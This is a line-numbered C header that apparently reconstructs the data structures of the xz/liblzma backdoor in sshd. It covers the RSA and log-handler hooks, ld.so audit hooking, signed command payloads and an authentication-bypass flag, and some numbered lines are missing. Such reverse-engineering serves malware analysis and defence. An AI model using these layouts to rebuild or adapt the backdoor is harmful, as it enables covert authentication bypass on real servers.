1017 typedef void (*pfn_RSA_get0_key_t)(
1018  const RSA *r,
1019  const BIGNUM **n, const BIGNUM **e, const BIGNUM **d);
1020 
1021 typedef struct __attribute__((packed)) imported_funcs {
1022  pfn_RSA_public_decrypt_t RSA_public_decrypt;
1023  pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
1024  // ???
1025  void (*RSA_get0_key_null)(
1026  const RSA *r, const BIGNUM **n,
1027  const BIGNUM **e, const BIGNUM **d);
1032  pfn_RSA_public_decrypt_t *RSA_public_decrypt_plt;
1037  pfn_EVP_PKEY_set1_RSA_t *EVP_PKEY_set1_RSA_plt;
1042  pfn_RSA_get0_key_t *RSA_get0_key_plt;
1043  void (*DSA_get0_pqg)(
1044  const DSA *d, const BIGNUM **p,
1045  const BIGNUM **q, const BIGNUM **g);
1046  const BIGNUM *(*DSA_get0_pub_key)(const DSA *d);
1047  size_t (*EC_POINT_point2oct)(
1048  const EC_GROUP *group, const EC_POINT *p,
1049  point_conversion_form_t form, unsigned char *buf,
1050  size_t len, BN_CTX *ctx);
1051  EC_POINT *(*EC_KEY_get0_public_key)(const EC_KEY *key);
1052  const EC_GROUP *(*EC_KEY_get0_group)(const EC_KEY *key);
1053  EVP_MD *(*EVP_sha256)(void);
1054  pfn_RSA_get0_key_t RSA_get0_key;
1055  int (*BN_num_bits)(const BIGNUM *a);
1056  EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
1057  int type, ENGINE *e,
1058  const unsigned char *key, size_t keylen);
1059  EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
1060  int (*EVP_DigestVerifyInit)(
1061  EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
1062  const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
1063  int (*EVP_DigestVerify)(
1064  EVP_MD_CTX *ctx, const unsigned char *sig,
1065  size_t siglen, const unsigned char *tbs, size_t tbslen);
1066  void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
1067  void (*EVP_PKEY_free)(EVP_PKEY *key);
1068  EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
1069  int (*EVP_DecryptInit_ex)(
1070  EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
1071  ENGINE *impl, const unsigned char *key, const unsigned char *iv);
1072  int (*EVP_DecryptUpdate)(
1073  EVP_CIPHER_CTX *ctx, unsigned char *out,
1074  int *outl, const unsigned char *in, int inl);
1075  int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
1076  void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
1077  const EVP_CIPHER *(*EVP_chacha20)(void);
1078  RSA *(*RSA_new)(void);
1079  BIGNUM *(*BN_dup)(const BIGNUM *from);
1080  BIGNUM *(*BN_bin2bn)(const unsigned char *s, int len, BIGNUM *ret);
1081  int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
1082  int (*EVP_Digest)(
1083  const void *data, size_t count, unsigned char *md,
1084  unsigned int *size, const EVP_MD *type, ENGINE *impl);
1085  int (*RSA_sign)(
1086  int type,
1087  const unsigned char *m, unsigned int m_len,
1088  unsigned char *sigret, unsigned int *siglen, RSA *rsa);
1089  int (*BN_bn2bin)(const BIGNUM *a, unsigned char *to);
1090  void (*RSA_free)(RSA *rsa);
1091  void (*BN_free)(BIGNUM *a);
1092  libc_imports_t *libc;
1093  u32 resolved_imports_count;
1094  PADDING(4);
1096 
1097 assert_offset(imported_funcs_t, RSA_public_decrypt, 0);
1098 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA, 8);
1099 assert_offset(imported_funcs_t, RSA_get0_key_null, 0x10);
1100 assert_offset(imported_funcs_t, RSA_public_decrypt_plt, 0x18);
1101 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA_plt, 0x20);
1102 assert_offset(imported_funcs_t, RSA_get0_key_plt, 0x28);
1103 assert_offset(imported_funcs_t, DSA_get0_pqg, 0x30);
1104 assert_offset(imported_funcs_t, DSA_get0_pub_key, 0x38);
1105 assert_offset(imported_funcs_t, EC_POINT_point2oct, 0x40);
1106 assert_offset(imported_funcs_t, EC_KEY_get0_public_key, 0x48);
1107 assert_offset(imported_funcs_t, EC_KEY_get0_group, 0x50);
1108 assert_offset(imported_funcs_t, EVP_sha256, 0x58);
1109 assert_offset(imported_funcs_t, RSA_get0_key, 0x60);
1110 assert_offset(imported_funcs_t, BN_num_bits, 0x68);
1111 assert_offset(imported_funcs_t, EVP_PKEY_new_raw_public_key, 0x70);
1112 assert_offset(imported_funcs_t, EVP_MD_CTX_new, 0x78);
1113 assert_offset(imported_funcs_t, EVP_DigestVerifyInit, 0x80);
1114 assert_offset(imported_funcs_t, EVP_DigestVerify, 0x88);
1115 assert_offset(imported_funcs_t, EVP_MD_CTX_free, 0x90);
1116 assert_offset(imported_funcs_t, EVP_PKEY_free, 0x98);
1117 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_new, 0xA0);
1118 assert_offset(imported_funcs_t, EVP_DecryptInit_ex, 0xA8);
1119 assert_offset(imported_funcs_t, EVP_DecryptUpdate, 0xB0);
1120 assert_offset(imported_funcs_t, EVP_DecryptFinal_ex, 0xB8);
1121 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_free, 0xC0);
1122 assert_offset(imported_funcs_t, EVP_chacha20, 0xC8);
1123 assert_offset(imported_funcs_t, RSA_new, 0xD0);
1124 assert_offset(imported_funcs_t, BN_dup, 0xD8);
1125 assert_offset(imported_funcs_t, BN_bin2bn, 0xE0);
1126 assert_offset(imported_funcs_t, RSA_set0_key, 0xE8);
1127 assert_offset(imported_funcs_t, EVP_Digest, 0xF0);
1128 assert_offset(imported_funcs_t, RSA_sign, 0xF8);
1129 assert_offset(imported_funcs_t, BN_bn2bin, 0x100);
1130 assert_offset(imported_funcs_t, RSA_free, 0x108);
1131 assert_offset(imported_funcs_t, BN_free, 0x110);
1132 assert_offset(imported_funcs_t, libc, 0x118);
1133 assert_offset(imported_funcs_t, resolved_imports_count, 0x120);
1134 static_assert(sizeof(imported_funcs_t) == 0x128);
1135 
1136 struct ssh;
1137 struct sshbuf;
1138 
1139 typedef int (*sshd_monitor_func_t)(struct ssh *ssh, int sock, struct sshbuf *m);
1140 
1141 typedef struct __attribute__((packed)) sshd_ctx {
1142  BOOL have_mm_answer_keyallowed;
1143  BOOL have_mm_answer_authpassword;
1144  BOOL have_mm_answer_keyverify;
1145  PADDING(0x4);
1146  sshd_monitor_func_t mm_answer_authpassword_hook;
1147  void *mm_answer_keyallowed;
1148  void *mm_answer_keyverify;
1149  void *mm_answer_authpassword_start;
1150  void *mm_answer_authpassword_end;
1151  sshd_monitor_func_t *mm_answer_authpassword_ptr;
1152  int monitor_reqtype_authpassword;
1153  PADDING(4);
1154  sshd_monitor_func_t *mm_answer_keyallowed_start;
1155  void *mm_answer_keyallowed_end;
1156  void *mm_answer_keyallowed_ptr;
1157  u32 mm_answer_keyallowed_reqtype;
1158  PADDING(4);
1159  void *mm_answer_keyverify_start;
1160  void *mm_answer_keyverify_end;
1161  void *mm_answer_keyverify_ptr;
1162  PADDING(0x4);
1163  u16 writebuf_size;
1164  PADDING(0x2);
1165  u8 *writebuf;
1166  PADDING(0x8);
1167  PADDING(0x8);
1168  char *STR_unknown_ptr;
1169  void *mm_request_send_start;
1170  void *mm_request_send_end;
1171  PADDING(sizeof(u32)); // BOOL?
1172  PADDING(sizeof(u32)); // BOOL?
1173  int *use_pam_ptr;
1174  int *permit_root_login_ptr;
1175  char *STR_without_password;
1176  char *STR_publickey;
1177 } sshd_ctx_t;
1178 
1179 assert_offset(sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
1180 assert_offset(sshd_ctx_t, have_mm_answer_authpassword, 0x4);
1181 assert_offset(sshd_ctx_t, have_mm_answer_keyverify, 0x8);
1182 assert_offset(sshd_ctx_t, mm_answer_authpassword_hook, 0x10);
1183 assert_offset(sshd_ctx_t, mm_answer_keyallowed, 0x18);
1184 assert_offset(sshd_ctx_t, mm_answer_keyverify, 0x20);
1185 assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28);
1186 assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30);
1187 assert_offset(sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
1188 assert_offset(sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
1189 assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
1190 assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
1191 assert_offset(sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
1192 assert_offset(sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
1193 assert_offset(sshd_ctx_t, mm_answer_keyverify_start, 0x68);
1194 assert_offset(sshd_ctx_t, mm_answer_keyverify_end, 0x70);
1195 assert_offset(sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
1196 assert_offset(sshd_ctx_t, writebuf_size, 0x84);
1197 assert_offset(sshd_ctx_t, writebuf, 0x88);
1198 assert_offset(sshd_ctx_t, STR_unknown_ptr, 0xA0);
1199 assert_offset(sshd_ctx_t, mm_request_send_start, 0xA8);
1200 assert_offset(sshd_ctx_t, mm_request_send_end, 0xB0);
1201 assert_offset(sshd_ctx_t, use_pam_ptr, 0xC0);
1202 assert_offset(sshd_ctx_t, permit_root_login_ptr, 0xC8);
1203 assert_offset(sshd_ctx_t, STR_without_password, 0xD0);
1204 assert_offset(sshd_ctx_t, STR_publickey, 0xD8);
1205 
1206 typedef enum {
1207  SYSLOG_LEVEL_QUIET,
1208  SYSLOG_LEVEL_FATAL,
1209  SYSLOG_LEVEL_ERROR,
1210  SYSLOG_LEVEL_INFO,
1211  SYSLOG_LEVEL_VERBOSE,
1212  SYSLOG_LEVEL_DEBUG1,
1213  SYSLOG_LEVEL_DEBUG2,
1214  SYSLOG_LEVEL_DEBUG3,
1215  SYSLOG_LEVEL_NOT_SET = -1
1216 } LogLevel;
1217 
1218 typedef void (*log_handler_fn)(
1219  LogLevel level,
1220  int forced,
1221  const char *msg,
1222  void *ctx);
1223 
1224 typedef struct __attribute__((packed)) sshd_log_ctx {
1225  BOOL logging_disabled;
1226  BOOL log_hooking_possible;
1227  BOOL syslog_disabled;
1228  PADDING(4);
1229  char *STR_percent_s;
1230  char *STR_Connection_closed_by;
1231  char *STR_preauth;
1232  char *STR_authenticating;
1233  char *STR_user;
1234  // Note: initially the two pointers may be swapped around.
1235  // sshd_configure_log_hook will ensure they're corrected if needed.
1236  void *log_handler_ptr;
1237  void *log_handler_ctx_ptr;
1238  log_handler_fn orig_log_handler;
1239  void *orig_log_handler_ctx;
1240  void *sshlogv;
1241  void (*mm_log_handler)(int level, int forced, const char *msg, void *ctx);
1242 } sshd_log_ctx_t;
1243 
1244 assert_offset(sshd_log_ctx_t, logging_disabled, 0x0);
1245 assert_offset(sshd_log_ctx_t, log_hooking_possible, 0x4);
1246 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
1247 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
1248 assert_offset(sshd_log_ctx_t, STR_percent_s, 0x10);
1249 assert_offset(sshd_log_ctx_t, STR_Connection_closed_by, 0x18);
1250 assert_offset(sshd_log_ctx_t, STR_preauth, 0x20);
1251 assert_offset(sshd_log_ctx_t, STR_authenticating, 0x28);
1252 assert_offset(sshd_log_ctx_t, STR_user, 0x30);
1253 assert_offset(sshd_log_ctx_t, log_handler_ptr, 0x38);
1254 assert_offset(sshd_log_ctx_t, log_handler_ctx_ptr, 0x40);
1255 assert_offset(sshd_log_ctx_t, orig_log_handler, 0x48);
1256 assert_offset(sshd_log_ctx_t, orig_log_handler_ctx, 0x50);
1257 assert_offset(sshd_log_ctx_t, sshlogv, 0x58);
1258 assert_offset(sshd_log_ctx_t, mm_log_handler, 0x60);
1259 static_assert(sizeof(sshd_log_ctx_t) == 0x68);
1260 
1261 typedef union __attribute__((packed)) sshd_offsets_kex {
1262  struct __attribute__((packed)) {
1263  u8 kex_qword_index;
1264  u8 pkex_offset;
1265  };
1266  u16 value;
1268 
1269 typedef union __attribute__((packed)) sshd_offsets_sshbuf {
1270  struct __attribute__((packed)) {
1271  u8 sshbuf_data_qword_index;
1272  u8 sshbuf_size_qword_index;
1273  };
1274  u16 value;
1276 
1277 typedef struct __attribute__((packed)) sshd_offsets_fields {
1278  sshd_offsets_kex_t kex;
1281 
1282 typedef struct __attribute__((packed)) sshd_offsets {
1283  union {
1284  struct {
1285  union {
1286  sshd_offsets_fields_t fields;
1287  u32 value;
1288  };
1289  };
1290  u32 raw_value;
1291  };
1292 } sshd_offsets_t;
1293 
1294 typedef struct __attribute__((packed)) sshd_payload_ctx {
1296 
1297 typedef struct __attribute__((packed)) global_context {
1298  BOOL uses_endbr64;
1299  PADDING(4);
1318  PADDING(4);
1320  struct sensitive_data *sshd_sensitive_data;
1330  struct monitor **struct_monitor_ptr_address;
1331  u32 exit_flag;
1333 
1350  void *sshd_main;
1365  u32 uid;
1366  PADDING(4);
1367  u64 sock_read_buf_size;
1368  u8 sock_read_buf[64];
1369  u64 payload_data_size;
1375  // signed data (size payload_data_size)
1376  u8 *payload_data;
1378  u32 sshd_host_pubkey_idx;
1379  u32 payload_state;
1383  u8 secret_data[ED448_KEY_SIZE];
1389  u8 shift_operations[31];
1394  PADDING(4);
1396 
1397 assert_offset(global_context_t, uses_endbr64, 0x0);
1398 assert_offset(global_context_t, imported_funcs, 0x8);
1399 assert_offset(global_context_t, libc_imports, 0x10);
1400 assert_offset(global_context_t, disable_backdoor, 0x18);
1401 assert_offset(global_context_t, sshd_ctx, 0x20);
1402 assert_offset(global_context_t, sshd_sensitive_data, 0x28);
1403 assert_offset(global_context_t, sshd_log_ctx, 0x30);
1404 assert_offset(global_context_t, STR_ssh_rsa_cert_v01_openssh_com, 0x38);
1405 assert_offset(global_context_t, STR_rsa_sha2_256, 0x40);
1406 assert_offset(global_context_t, struct_monitor_ptr_address, 0x48);
1407 assert_offset(global_context_t, exit_flag, 0x50);
1408 assert_offset(global_context_t, sshd_offsets, 0x54);
1409 assert_offset(global_context_t, sshd_code_start, 0x58);
1410 assert_offset(global_context_t, sshd_code_end, 0x60);
1411 assert_offset(global_context_t, sshd_data_start, 0x68);
1412 assert_offset(global_context_t, sshd_data_end, 0x70);
1413 assert_offset(global_context_t, lzma_code_start, 0x80);
1414 assert_offset(global_context_t, lzma_code_end, 0x88);
1415 assert_offset(global_context_t, uid, 0x90);
1416 assert_offset(global_context_t, sock_read_buf_size, 0x98);
1417 assert_offset(global_context_t, sock_read_buf, 0xA0);
1418 assert_offset(global_context_t, payload_data_size, 0xE0);
1419 assert_offset(global_context_t, current_data_size, 0xE8);
1420 assert_offset(global_context_t, payload_data, 0xF0);
1421 assert_offset(global_context_t, sshd_payload_ctx, 0xF8);
1422 assert_offset(global_context_t, sshd_host_pubkey_idx, 0x100);
1423 assert_offset(global_context_t, payload_state, 0x104);
1424 assert_offset(global_context_t, secret_data, 0x108);
1425 assert_offset(global_context_t, shift_operations, 0x141);
1426 assert_offset(global_context_t, num_shifted_bits, 0x160);
1427 static_assert(sizeof(global_context_t) == 0x168);
1428 
1429 typedef struct __attribute__((packed)) backdoor_shared_globals {
1430  sshd_monitor_func_t mm_answer_authpassword_hook;
1434  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
1435  global_context_t **globals;
1437 
1439 assert_offset(backdoor_shared_globals_t, hook_EVP_PKEY_set1_RSA, 0x8);
1440 assert_offset(backdoor_shared_globals_t, globals, 0x10);
1441 static_assert(sizeof(backdoor_shared_globals_t) == 0x18);
1442 
1443 typedef struct __attribute__((packed)) ldso_ctx {
1444  PADDING(0x40);
1461  PADDING(0x4);
1478  PADDING(0x4);
1495  PADDING(0x7);
1513  unsigned int *_dl_naudit_ptr;
1522  struct audit_ifaces hooked_audit_ifaces;
1523  PADDING(0x30);
1537  void (*_dl_audit_symbind_alt)(struct link_map *l, const ElfW(Sym) *ref, void **value, lookup_t result);
1547  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
1553  pfn_EVP_PKEY_set1_RSA_t hook_EVP_PKEY_set1_RSA;
1558  pfn_RSA_get0_key_t hook_RSA_get0_key;
1560  u64 hooks_installed;
1561 } ldso_ctx_t;
1562 
1563 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_ptr, 0x40);
1564 assert_offset(ldso_ctx_t, libcrypto_auditstate_bindflags_old_value, 0x48);
1565 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_ptr, 0x50);
1566 assert_offset(ldso_ctx_t, sshd_auditstate_bindflags_old_value, 0x58);
1567 assert_offset(ldso_ctx_t, sshd_link_map_l_audit_any_plt_addr, 0x60);
1568 assert_offset(ldso_ctx_t, link_map_l_audit_any_plt_bitmask, 0x68);
1569 assert_offset(ldso_ctx_t, _dl_audit_ptr, 0x70);
1570 assert_offset(ldso_ctx_t, _dl_naudit_ptr, 0x78);
1571 assert_offset(ldso_ctx_t, hooked_audit_ifaces, 0x80);
1572 static_assert(sizeof(struct audit_ifaces) == 0x48);
1573 assert_offset(ldso_ctx_t, libcrypto_l_name, 0xF8);
1574 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt, 0x100);
1575 assert_offset(ldso_ctx_t, _dl_audit_symbind_alt__size, 0x108);
1576 assert_offset(ldso_ctx_t, hook_RSA_public_decrypt, 0x110);
1577 assert_offset(ldso_ctx_t, hook_EVP_PKEY_set1_RSA, 0x118);
1578 assert_offset(ldso_ctx_t, hook_RSA_get0_key, 0x120);
1579 assert_offset(ldso_ctx_t, imported_funcs, 0x128);
1580 assert_offset(ldso_ctx_t, hooks_installed, 0x130);
1581 static_assert(sizeof(ldso_ctx_t) == 0x138);
1582 
1583 
1584 typedef struct __attribute__((packed)) backdoor_hooks_data {
1586  global_context_t global_ctx;
1591  u64 signed_data_size;
1592  u8 signed_data;
1594 
1595 assert_offset(backdoor_hooks_data_t, ldso_ctx, 0);
1596 assert_offset(backdoor_hooks_data_t, global_ctx, 0x138);
1597 assert_offset(backdoor_hooks_data_t, imported_funcs, 0x2A0);
1598 assert_offset(backdoor_hooks_data_t, sshd_ctx, 0x3C8);
1599 assert_offset(backdoor_hooks_data_t, libc_imports, 0x4A8);
1600 assert_offset(backdoor_hooks_data_t, sshd_log_ctx, 0x518);
1601 assert_offset(backdoor_hooks_data_t, signed_data_size, 0x580);
1602 assert_offset(backdoor_hooks_data_t, signed_data, 0x588);
1603 static_assert(sizeof(backdoor_hooks_data_t) >= 0x589);
1604 
1605 typedef struct __attribute__((packed)) backdoor_hooks_ctx {
1606  PADDING(0x30);
1607  backdoor_shared_globals_t *shared;
1609  uintptr_t (*symbind64)(
1610  Elf64_Sym *sym, unsigned int ndx,
1611  uptr *refcook, uptr *defcook,
1612  unsigned int flags, const char *symname);
1613  pfn_RSA_public_decrypt_t hook_RSA_public_decrypt;
1614  pfn_RSA_get0_key_t hook_RSA_get0_key;
1615  log_handler_fn mm_log_handler;
1616  PADDING(sizeof(void *));
1617  PADDING(sizeof(void *));
1618  sshd_monitor_func_t mm_answer_keyallowed;
1619  sshd_monitor_func_t mm_answer_keyverify;
1620  PADDING(sizeof(void *));
1622 
1623 assert_offset(backdoor_hooks_ctx_t, shared, 0x30);
1624 assert_offset(backdoor_hooks_ctx_t, hooks_data_addr, 0x38);
1625 assert_offset(backdoor_hooks_ctx_t, symbind64, 0x40);
1626 assert_offset(backdoor_hooks_ctx_t, hook_RSA_public_decrypt, 0x48);
1627 assert_offset(backdoor_hooks_ctx_t, hook_RSA_get0_key, 0x50);
1628 assert_offset(backdoor_hooks_ctx_t, mm_log_handler, 0x58);
1629 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyallowed, 0x70);
1630 assert_offset(backdoor_hooks_ctx_t, mm_answer_keyverify, 0x78);
1631 static_assert(sizeof(backdoor_hooks_ctx_t) == 0x88);
1632 
1633 typedef struct __attribute__((packed)) backdoor_setup_params {
1634  PADDING(0x8);
1635  backdoor_shared_globals_t *shared;
1636  backdoor_hooks_ctx_t *hook_params;
1637  lzma_check_state dummy_check_state;
1638  elf_entry_ctx_t *entry_ctx;
1640 
1641 assert_offset(backdoor_setup_params_t, shared, 0x8);
1642 assert_offset(backdoor_setup_params_t, hook_params, 0x10);
1643 assert_offset(backdoor_setup_params_t, entry_ctx, 0x80);
1644 static_assert(sizeof(backdoor_setup_params_t) == 0x88);
1645 
1650 typedef struct __attribute__((packed)) elf_handles {
1662  elf_info_t *libc;
1663  elf_info_t *liblzma;
1664  elf_info_t *libcrypto;
1666 
1667 assert_offset(elf_handles_t, main, 0x0);
1668 assert_offset(elf_handles_t, dynamic_linker, 0x8);
1669 assert_offset(elf_handles_t, libc, 0x10);
1670 assert_offset(elf_handles_t, liblzma, 0x18);
1671 assert_offset(elf_handles_t, libcrypto, 0x20);
1672 static_assert(sizeof(elf_handles_t) == 0x28);
1673 
1674 typedef struct __attribute__((packed)) main_elf {
1676  Elf64_Ehdr *dynamic_linker_ehdr;
1677  void **__libc_stack_end;
1678 } main_elf_t;
1679 
1680 assert_offset(main_elf_t, elf_handles, 0x0);
1681 assert_offset(main_elf_t, dynamic_linker_ehdr, 0x8);
1682 assert_offset(main_elf_t, __libc_stack_end, 0x10);
1683 static_assert(sizeof(main_elf_t) == 0x18);
1684 
1685 typedef struct backdoor_data backdoor_data_t;
1686 
1690 typedef struct __attribute__((packed)) backdoor_data_handle {
1691  backdoor_data_t *data;
1694 
1695 assert_offset(backdoor_data_handle_t, data, 0x0);
1696 assert_offset(backdoor_data_handle_t, elf_handles, 0x8);
1697 
1698 typedef struct __attribute__((packed)) string_item {
1702  EncodedStringId string_id;
1703  PADDING(4);
1707  void *func_start;
1711  void *func_end;
1715  void *xref;
1716 } string_item_t;
1717 
1718 assert_offset(string_item_t, string_id, 0);
1719 assert_offset(string_item_t, func_start, 0x8);
1720 assert_offset(string_item_t, func_end, 0x10);
1721 assert_offset(string_item_t, xref, 0x18);
1722 static_assert(sizeof(string_item_t) == 0x20);
1723 
1724 typedef struct __attribute__((packed)) string_references {
1725  string_item_t entries[27];
1727 
1728 assert_offset(string_references_t, entries, 0);
1729 static_assert(sizeof(string_references_t) == 0x360);
1730 
1735 typedef struct __attribute__((packed)) backdoor_data {
1740  struct link_map *main_map;
1745  struct link_map *dynamic_linker_map;
1746  struct link_map *liblzma_map;
1747  struct link_map *libcrypto_map;
1748  struct link_map *libsystemd_map;
1749  struct link_map *libc_map;
1750 
1752 
1753  backdoor_data_handle_t data_handle;
1754 
1771  elf_info_t liblzma_info;
1776 
1786  lzma_allocator fake_allocator;
1790  lzma_allocator *import_resolver;
1791 } backdoor_data_t;
1792 
1793 assert_offset(backdoor_data_t, main_map, 0);
1794 assert_offset(backdoor_data_t, dynamic_linker_map, 0x8);
1795 assert_offset(backdoor_data_t, liblzma_map, 0x10);
1796 assert_offset(backdoor_data_t, libcrypto_map, 0x18);
1797 assert_offset(backdoor_data_t, libsystemd_map, 0x20);
1798 assert_offset(backdoor_data_t, libc_map, 0x28);
1799 assert_offset(backdoor_data_t, elf_handles, 0x30);
1800 assert_offset(backdoor_data_t, data_handle, 0x58);
1801 assert_offset(backdoor_data_t, main_info, 0x68);
1802 assert_offset(backdoor_data_t, dynamic_linker_info, 0x168);
1803 assert_offset(backdoor_data_t, libc_info, 0x268);
1804 assert_offset(backdoor_data_t, liblzma_info, 0x368);
1805 assert_offset(backdoor_data_t, libcrypto_info, 0x468);
1806 assert_offset(backdoor_data_t, libc_imports, 0x568);
1807 assert_offset(backdoor_data_t, string_refs, 0x5D8);
1808 assert_offset(backdoor_data_t, fake_allocator, 0x938);
1809 assert_offset(backdoor_data_t, import_resolver, 0x950);
1810 static_assert(sizeof(backdoor_data_t) == 0x958);
1811 
1812 typedef struct __attribute__((packed)) backdoor_shared_libraries_data {
1813  backdoor_data_t *data;
1833 
1834 assert_offset(backdoor_shared_libraries_data_t, data, 0x0);
1835 assert_offset(backdoor_shared_libraries_data_t, elf_handles, 0x8);
1836 assert_offset(backdoor_shared_libraries_data_t, RSA_public_decrypt_plt, 0x10);
1837 assert_offset(backdoor_shared_libraries_data_t, EVP_PKEY_set1_RSA_plt, 0x18);
1838 assert_offset(backdoor_shared_libraries_data_t, RSA_get0_key_plt, 0x20);
1840 assert_offset(backdoor_shared_libraries_data_t, libc_imports, 0x30);
1841 
1848 typedef union {
1850  u32 index;
1851  struct {
1853  u32 bit_index : 3;
1855  u32 byte_index : 29;
1856  };
1858 
1859 typedef struct __attribute__((packed)) secret_data_item {
1860  u8 *code;
1861  secret_data_shift_cursor_t shift_cursor;
1862  u32 operation_index;
1863  u32 shift_count;
1864  u32 index;
1866 
1867 assert_offset(secret_data_item_t, code, 0x0);
1868 assert_offset(secret_data_item_t, shift_cursor, 0x8);
1869 assert_offset(secret_data_item_t, operation_index, 0xC);
1870 assert_offset(secret_data_item_t, shift_count, 0x10);
1871 assert_offset(secret_data_item_t, index, 0x14);
1872 static_assert(sizeof(secret_data_item_t) == 0x18);
1873 
1879 typedef struct __attribute__((packed)) key_payload_hdr {
1880  union {
1881  u8 bytes[16];
1882  struct __attribute__((packed)) {
1883  u32 field_a;
1884  u32 field_b;
1885  u64 field_c;
1886  };
1887  };
1889 static_assert(sizeof(backdoor_payload_hdr_t) == 16);
1890 
1891 typedef union __attribute__((packed)) {
1892  u8 value[2];
1893  u16 size;
1895 
1896 typedef struct __attribute__((packed)) cmd_arguments {
1897  u8 flags1;
1898  u8 flags2;
1899  u8 flags3;
1901 } cmd_arguments_t;
1902 
1903 typedef struct __attribute__((packed)) key_payload_body {
1905  u8 signature[ED448_SIGNATURE_SIZE];
1906  cmd_arguments_t args;
1907  u8 data[0x1A1];
1909 
1910 assert_offset(backdoor_payload_body_t, args, 0x72);
1911 
1917 typedef struct __attribute__((packed)) backdoor_payload {
1918  union {
1919  u8 data[0x228];
1920  struct __attribute__((packed)) {
1921  backdoor_payload_hdr_t header;
1923  };
1924  };
1926 static_assert(sizeof(backdoor_payload_t) == 0x228);
1927 assert_offset(backdoor_payload_t, header, 0);
1928 assert_offset(backdoor_payload_t, body, 16);
1929 
1930 typedef struct __attribute__((packed)) key_payload {
1931  union {
1932  u8 data[0];
1933  struct __attribute__((packed)) {
1935  u16 body_length;
1936  u8 body[0];
1937  };
1938  };
1939 } key_payload_t;
1940 assert_offset(key_payload_t, hdr, 0);
1941 assert_offset(key_payload_t, body_length, 16);
1942 assert_offset(key_payload_t, body, 18);
1943 
1944 #define TEST_FLAG(x, flag) (((x) & (flag)) != 0)
1945 
1967 };
1968 
1983  X_FLAGS2_AUTH_BYPASS = 0x4,
1994 
2000  X_FLAGS2_SOCKFD_MASK = 0x78
2001 };
2002 
2012 };
2013 
2014 assert_offset(cmd_arguments_t, flags1, 0);
2015 assert_offset(cmd_arguments_t, flags2, 1);
2016 assert_offset(cmd_arguments_t, flags3, 2);
2017 assert_offset(cmd_arguments_t, u, 3);
2018 static_assert(sizeof(cmd_arguments_t) == 0x5);
2019 
2020 typedef struct __attribute__((packed)) key_ctx {
2021  const BIGNUM *rsa_n;
2022  const BIGNUM *rsa_e;
2023  cmd_arguments_t args;
2024  backdoor_payload_t payload;
2025  PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
2026  u8 ivec[CHACHA20_IV_SIZE];
2027  u8 ed448_key[ED448_KEY_SIZE];
2028  PADDING(2);
2029 } key_ctx_t;
2030 
2031 assert_offset(key_ctx_t, rsa_n, 0);
2032 assert_offset(key_ctx_t, rsa_e, 0x8);
2033 assert_offset(key_ctx_t, args, 0x10);
2034 assert_offset(key_ctx_t, payload, 0x15);
2035 assert_offset(key_ctx_t, ivec, 0x26D);
2036 assert_offset(key_ctx_t, ed448_key, 0x27D);
2037 
2042 typedef struct __attribute__((packed)) monitor_data {
2043  u32 cmd_type;
2044  PADDING(4);
2045  cmd_arguments_t *args;
2046  const BIGNUM *rsa_n;
2047  const BIGNUM *rsa_e;
2048  u8 *payload_body;
2049  u16 payload_body_size;
2050  PADDING(6);
2051  RSA *rsa;
2053 
2054 assert_offset(monitor_data_t, cmd_type, 0);
2055 assert_offset(monitor_data_t, args, 0x8);
2056 assert_offset(monitor_data_t, rsa_n, 0x10);
2057 assert_offset(monitor_data_t, rsa_e, 0x18);
2058 assert_offset(monitor_data_t, payload_body, 0x20);
2059 assert_offset(monitor_data_t, payload_body_size, 0x28);
2060 assert_offset(monitor_data_t, rsa, 0x30);
2061 
2066 typedef union __attribute__((packed)) backdoor_runtime_data {
2067 #ifndef XZRE_SLIM
2068  struct timespec timespec;
2069  fd_set fd_set;
2070 #endif
2072  u8 data[608];
2074 
2079 typedef struct __attribute__((packed)) run_backdoor_commands_data {
2080  u64 body_size;
2081  BOOL *p_do_orig;
2082  u64 payload_size;
2083  u64 hostkey_hash_offset;
2084  RSA *rsa;
2085  u8 *payload_data_ptr;
2086  u8 *ed448_key_ptr;
2087  u64 num_keys;
2088  PADDING(4);
2089  u32 key_cur_idx;
2090  u64 key_prev_idx;
2091  PADDING(7);
2092  u8 unk57;
2093  union {
2094  struct __attribute__((packed)) {
2095  int socket_fd;
2096  u32 fd_recv_size;
2097  u8 fd_recv_buf[64];
2098  } sock;
2099  struct __attribute__((packed)) {
2100  u64 num_host_keys;
2101  u64 num_host_pubkeys;
2102  u8 ed448_key[ED448_KEY_SIZE];
2103  } keys;
2104  } u;
2105  PADDING(7);
2107  key_ctx_t kctx;
2109 
2110 assert_offset(run_backdoor_commands_data_t, body_size, 0);
